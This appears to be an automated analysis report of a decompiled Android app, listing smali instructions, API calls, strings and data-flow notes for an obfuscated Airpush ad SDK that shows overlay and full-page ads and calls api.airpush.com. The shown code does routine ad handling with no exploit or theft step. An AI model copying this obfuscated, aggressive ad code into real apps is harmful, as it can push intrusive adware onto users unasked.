17invoke-direct {v1, v2, v3}, Landroid/view/ViewGroup$LayoutParams;-><init>(II)V
19invoke-virtual {v0, p1}, Landroid/widget/Button;->setGravity(I)V
21invoke-virtual {v0, v1}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
23invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setButtonBackground(Landroid/widget/Button;)V
24new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$1;
26invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
28invoke-virtual {v0, v2}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
29return-object v0
Cross References
APIs
  • java.lang.String.equals
  • android.util.Log.e
Strings
  • AirplayMraid
Position Instruction Meta Information
0.param p1, "status" # I
1.param p2, "message" # Ljava/lang/String;
2.prologue
3if-eqz p2, :cond_a
5const-string v0, ""
7invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
8move-result v0
9if-eqz v0, :cond_b
10goto_a: return-void
11cond_b: sparse-switch p1, :sswitch_data_4a
12goto/16 :goto_a
13sswitch_f:
14sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
15if-eqz v0, :cond_19
17sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
19invoke-interface {v0, p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
20goto/16 :goto_a
21cond_19:
22const-string v0, "AirplayMraid"
24invoke-static {v0, p2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
25goto/16 :goto_a
26sswitch_1f:
27sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
28if-eqz v0, :cond_29
30sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
32invoke-interface {v0, p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
33goto/16 :goto_a
34cond_29:
35const-string v0, "AirplayMraid"
37invoke-static {v0, p2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
38goto/16 :goto_a
39sswitch_2f:
40sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
41if-eqz v0, :cond_39
43sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
45invoke-interface {v0, p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
46goto/16 :goto_a
47cond_39:
48const-string v0, "AirplayMraid"
50invoke-static {v0, p2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
51goto/16 :goto_a
52sswitch_3f:
53sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
54if-eqz v0, :cond_a
56sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
58invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->noAdAvailableListener()V
59goto/16 :goto_a
60nop
APIs
  • android.view.MotionEvent.getAction
  • com.vxjxu.jkhfn1870.ImageBanner.sendImpression
  • android.webkit.WebView.dispatchTouchEvent
Strings
  • 13
Position Instruction Meta Information
0.param p1, "event" # Landroid/view/MotionEvent;
1.prologue
2const/4 v0, 0x1
4invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I
5move-result v1
6if-nez v1, :cond_42
8const-string v1, "13"
10invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 13
12sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
13if-eqz v1, :cond_15
15sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
17invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
18cond_15:
19iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
21invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z
22move-result v1
23if-nez v1, :cond_35
25iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
27invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z
28move-result v1
29if-nez v1, :cond_35
31iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
33invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z
34move-result v1
35if-nez v1, :cond_35
37iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
39invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z
40move-result v1
41if-eqz v1, :cond_3c
42cond_35: iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->isClicked:Z
44invoke-super {p0, p1}, Landroid/webkit/WebView;->dispatchTouchEvent(Landroid/view/MotionEvent;)Z
45move-result v0
46goto_3b: return v0
47cond_3c:
48iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
50invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->handleClicks()V
51goto/16 :goto_3b
52cond_42:
53invoke-super {p0, p1}, Landroid/webkit/WebView;->dispatchTouchEvent(Landroid/view/MotionEvent;)Z
54move-result v0
55goto/16 :goto_3b
Cross References
APIs
  • com.vxjxu.jkhfn1870.ImageBanner.getContext
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • Ad in test mode. Sending ignored.
  • banner_event
Position Instruction Meta Information
0.param p1, "event" # Ljava/lang/String;
1.prologue
2monitor-enter p0
3try_start_1: monitor-enter p1
4try_start_2: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->isTestMode:Z
5if-eqz v1, :cond_e
7const-string v1, "Ad in test mode. Sending ignored."
9invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Ad in test mode. Sending ignored.
10monitor-exit p1
11goto_c: monitor-exit p0
12return-void
13try_start_e:
14invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getContext()Landroid/content/Context;
15move-result-object v1
17invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
18move-result v1
19if-nez v1, :cond_20
20monitor-exit p1
21goto/16 :goto_c
22catchall_1a: move-exception v1
23monitor-exit p1
24try_end_1c: throw v1
25catchall_1d: move-exception v1
26monitor-exit p0
27throw v1
28cond_20: new-instance v0, Ljava/lang/Thread;
29new-instance v1, Lcom/vxjxu/jkhfn1870/ImageBanner$2;
31invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/ImageBanner$2;-><init>(Lcom/vxjxu/jkhfn1870/ImageBanner;Ljava/lang/String;)V
33const-string v2, "banner_event"
35invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: banner_event
37invoke-virtual {v0}, Ljava/lang/Thread;->start()V
38monitor-exit p1
39try_end_30: goto/16 :goto_c
Cross References
APIs
  • android.util.Log.e
Strings
  • Required BrowserActivity not found in Manifest. Please add.
  • AirplaySDK
  • Error occurred while validating SmartWall:
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x1
2try_start_1:
3invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z
4move-result v2
6sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
7const-class v4, Lcom/vxjxu/jkhfn1870/BrowserActivity;
9invoke-static {v3, v4}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z
10move-result v3
11if-nez v3, :cond_23
13const-string v0, "Required BrowserActivity not found in Manifest. Please add."
15const-string v3, "AirplaySDK"
17invoke-static {v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required BrowserActivity not found in Manifest. Please add.
19invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required BrowserActivity not found in Manifest. Please add.
20new-instance v3, Lcom/vxjxu/jkhfn1870/SendIntegrationError;
22sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
23const/16 v5, 0x68
25invoke-direct {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V
26try_end_22: const/4 v2, 0x0
27goto_23: return v2
28catch_24: move-exception v1
30const-string v3, "AirplaySDK"
32const-string v4, "Error occurred while validating SmartWall: "
34invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred while validating SmartWall:
35const/4 v2, 0x0
36goto/16 :goto_23
APIs
  • android.webkit.WebViewClient.onReceivedError
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • com.vxjxu.jkhfn1870.MraidView.access$1000
  • android.os.Handler.sendEmptyMessage
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "errorCode" # I
2.param p3, "description" # Ljava/lang/String;
3.param p4, "failingUrl" # Ljava/lang/String;
4.prologue
5const/4 v0, 0x1
6iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->isErrorOccured:Z
8invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
12invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
13move-result-object v0
14if-eqz v0, :cond_17
16iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
18invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
19move-result-object v0
21invoke-interface {v0, p3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
22cond_17:
23iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
25invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1000(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/os/Handler;
26move-result-object v0
27if-eqz v0, :cond_29
29iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
31invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1000(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/os/Handler;
32move-result-object v0
33const/4 v1, -0x4
35invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z
36cond_29: return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • Ad in test mode. Sending ignored.
  • mraid_event
Position Instruction Meta Information
0.param p1, "event" # Ljava/lang/String;
1.prologue
2monitor-enter p1
3try_start_1: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z
4if-eqz v1, :cond_c
6const-string v1, "Ad in test mode. Sending ignored."
8invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Ad in test mode. Sending ignored.
9monitor-exit p1
10goto_b: return-void
11cond_c:
12invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
13move-result-object v1
15invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
16move-result v1
17if-nez v1, :cond_1b
18monitor-exit p1
19goto/16 :goto_b
20catchall_18: move-exception v1
21monitor-exit p1
22try_end_1a: throw v1
23try_start_1b: new-instance v0, Ljava/lang/Thread;
24new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$6;
26invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$6;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;Ljava/lang/String;)V
28const-string v2, "mraid_event"
30invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: mraid_event
32invoke-virtual {v0}, Ljava/lang/Thread;->start()V
33monitor-exit p1
34try_end_2b: goto/16 :goto_b
APIs
  • android.webkit.WebView.stopLoading
  • android.webkit.WebView.removeAllViews
  • android.webkit.WebView.destroy
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • android.app.Activity.finish
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.prologue
2if-eqz p0, :cond_18
3try_start_2:
4iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
5if-eqz v1, :cond_15
7iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
9invoke-virtual {v1}, Landroid/webkit/WebView;->stopLoading()V
11iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
13invoke-virtual {v1}, Landroid/webkit/WebView;->removeAllViews()V
15iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
17invoke-virtual {v1}, Landroid/webkit/WebView;->destroy()V
18cond_15:
19invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
20try_start_18:
21iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
23invoke-virtual {v1}, Landroid/app/Activity;->finish()V
24goto_1d: return-void
25catch_1e: move-exception v0
27iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
29invoke-virtual {v1}, Landroid/app/Activity;->finish()V
30goto/16 :goto_1d
31catch_25: move-exception v1
32goto/16 :goto_18
33catch_27: move-exception v1
34goto/16 :goto_18
APIs
  • android.webkit.WebViewClient.onReceivedError
  • com.vxjxu.jkhfn1870.ImageBanner.sendImpression
  • android.os.Handler.sendEmptyMessage
Strings
  • 89
  • Error in ad loading.
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "errorCode" # I
2.param p3, "description" # Ljava/lang/String;
3.param p4, "failingUrl" # Ljava/lang/String;
4.prologue
6invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
10const-string v1, "89"
12invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
14iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler;
15if-eqz v0, :cond_1a
17iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler;
18const/16 v1, 0x8
20invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z
  • Data flow analysis:
    • what: 8
22const-string v0, "Error in ad loading."
24invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Error in ad loading.
25cond_1a:
26sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
27if-eqz v0, :cond_23
29sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
31invoke-interface {v0, p3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
32cond_23: return-void
Cross References
APIs
  • prsolutions.rosariofacileads.Player.getWindowManager
  • android.view.WindowManager.getDefaultDisplay
  • android.view.Display.getMetrics
  • prsolutions.rosariofacileads.Player$SampleView.<init>
  • android.view.ViewGroup$LayoutParams.<init>
  • prsolutions.rosariofacileads.Player.addContentView
Position Instruction Meta Information
0.prologue
1const/4 v4, -0x2
2iget v0, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
3const/16 v1, 0x3b
4if-ne v0, v1, :cond_8
5goto_7: return-void
6cond_8:
7invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getWindowManager()Landroid/view/WindowManager;
8move-result-object v0
10invoke-interface {v0}, Landroid/view/WindowManager;->getDefaultDisplay()Landroid/view/Display;
11move-result-object v0
13iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics;
15invoke-virtual {v0, v1}, Landroid/view/Display;->getMetrics(Landroid/util/DisplayMetrics;)V
16new-instance v0, Lprsolutions/rosariofacileads/Player$SampleView;
18iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->coordinate:[Lprsolutions/rosariofacileads/Player$Coord;
19iget v2, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
20add-int/lit8 v3, v2, 0x1
21iput v3, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
22aget-object v1, v1, v2
24invoke-direct {v0, p0, p0, v1}, Lprsolutions/rosariofacileads/Player$SampleView;-><init>(Lprsolutions/rosariofacileads/Player;Landroid/content/Context;Lprsolutions/rosariofacileads/Player$Coord;)V
25new-instance v1, Landroid/view/ViewGroup$LayoutParams;
27invoke-direct {v1, v4, v4}, Landroid/view/ViewGroup$LayoutParams;-><init>(II)V
29invoke-virtual {p0, v0, v1}, Lprsolutions/rosariofacileads/Player;->addContentView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
30goto/16 :goto_7
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.access$100
  • com.vxjxu.jkhfn1870.OverlayAd.access$200
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • android.app.Activity.finish
  • android.webkit.WebView.loadUrl
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
3const/4 v2, 0x1
4try_start_1:
5iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
7invoke-static {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$100(Lcom/vxjxu/jkhfn1870/OverlayAd;)Z
8move-result v1
9if-eqz v1, :cond_1f
11iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
13invoke-static {v1, p2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$200(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V
14try_end_e: return v2
15catch_f: move-exception v0
17invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
19iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
21invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
23iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
25iget-object v1, v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
27invoke-virtual {v1}, Landroid/app/Activity;->finish()V
28cond_1f:
29invoke-virtual {p1, p2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
30goto/16 :goto_e
APIs
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.stopLoading
  • android.widget.LinearLayout.removeView
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.removeAllViews
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.destroy
  • android.app.Activity.onDestroy
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
3if-eqz v1, :cond_1a
5iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
7invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->stopLoading()V
9iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout;
11iget-object v2, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
13invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->removeView(Landroid/view/View;)V
15iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
17invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->removeAllViews()V
19iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
21invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->destroy()V
22try_end_1a:
23invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
24return-void
25catch_1e: move-exception v0
27invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
28goto/16 :goto_1a
Cross References
APIs
  • android.view.View.<init>
  • android.graphics.Paint.<init>
  • android.graphics.Paint.setAntiAlias
  • android.content.Context.getResources
  • android.content.res.Resources.openRawResource
  • android.graphics.BitmapFactory.decodeStream
Position Instruction Meta Information
0.param p2, "context" # Landroid/content/Context;
1.param p3, "_coord" # Lprsolutions/rosariofacileads/Player$Coord;
2.prologue
3iput-object p1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
5invoke-direct {p0, p2}, Landroid/view/View;-><init>(Landroid/content/Context;)V
6iput-object p3, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord;
7new-instance v1, Landroid/graphics/Paint;
9invoke-direct {v1}, Landroid/graphics/Paint;-><init>()V
10iput-object v1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mPaint:Landroid/graphics/Paint;
12iget-object v1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mPaint:Landroid/graphics/Paint;
13const/4 v2, 0x1
15invoke-virtual {v1, v2}, Landroid/graphics/Paint;->setAntiAlias(Z)V
  • Data flow analysis:
    • aa: 1
17invoke-virtual {p2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
18move-result-object v1
19const v2, 0x7f020017
21invoke-virtual {v1, v2}, Landroid/content/res/Resources;->openRawResource(I)Ljava/io/InputStream;
  • Data flow analysis:
    • id: 2130837527
22move-result-object v0
24invoke-static {v0}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap;
25move-result-object v1
26iput-object v1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mBitmap:Landroid/graphics/Bitmap;
27return-void
APIs
  • java.util.ArrayList.<init>
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • https://api.airpush.com/fullpage/adcall.php
  • SmartWall
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v4, Ljava/util/ArrayList;
3invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
4new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread;
6invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
7move-result-object v2
9const-string v5, "https://api.airpush.com/fullpage/adcall.php"
10const-wide/16 v6, 0x0
11const/4 v8, 0x1
12move-object v3, p0
14invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V
15new-instance v0, Ljava/lang/Thread;
17const-string v2, "SmartWall"
19invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: SmartWall
21invoke-virtual {v0}, Ljava/lang/Thread;->start()V
22goto_1e: return-void
23catch_1f: move-exception v0
24goto/16 :goto_1e
APIs
  • android.app.Activity.setTitle
  • android.app.Activity.setProgress
  • android.webkit.WebView.getUrl
  • android.app.Activity.setTitle
Strings
  • loading....
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "progress" # I
2.prologue
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity;
6const-string v1, "loading...."
8invoke-virtual {v0, v1}, Landroid/app/Activity;->setTitle(Ljava/lang/CharSequence;)V
  • Data flow analysis:
    • p0: loading....
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity;
11mul-int/lit8 v1, p2, 0x64
13invoke-virtual {v0, v1}, Landroid/app/Activity;->setProgress(I)V
  • Data flow analysis:
    • p0: loading....
14const/16 v0, 0x64
15if-ne p2, v0, :cond_1b
17iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity;
19invoke-virtual {p1}, Landroid/webkit/WebView;->getUrl()Ljava/lang/String;
20move-result-object v1
22invoke-virtual {v0, v1}, Landroid/app/Activity;->setTitle(Ljava/lang/CharSequence;)V
23cond_1b: return-void
APIs
  • java.lang.Boolean.booleanValue
  • com.vxjxu.jkhfn1870.AdView.access$1100
  • android.util.Log.e
Strings
  • AirplayMraid
  • Not able to get mraid.
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->val$result:Ljava/lang/Boolean;
4invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
5move-result v0
6if-eqz v0, :cond_10
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$8;
10iget-object v0, v0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
12invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$1100(Lcom/vxjxu/jkhfn1870/AdView;)V
13goto_f: return-void
14cond_10:
15const-string v0, "AirplayMraid"
17const-string v1, "Not able to get mraid."
19invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Not able to get mraid.
20goto/16 :goto_f
Cross References
APIs
  • android.widget.FrameLayout.getVisibility
  • com.vxjxu.jkhfn1870.AdView.getChildCount
  • com.vxjxu.jkhfn1870.AdView.getChildAt
  • android.view.View.setVisibility
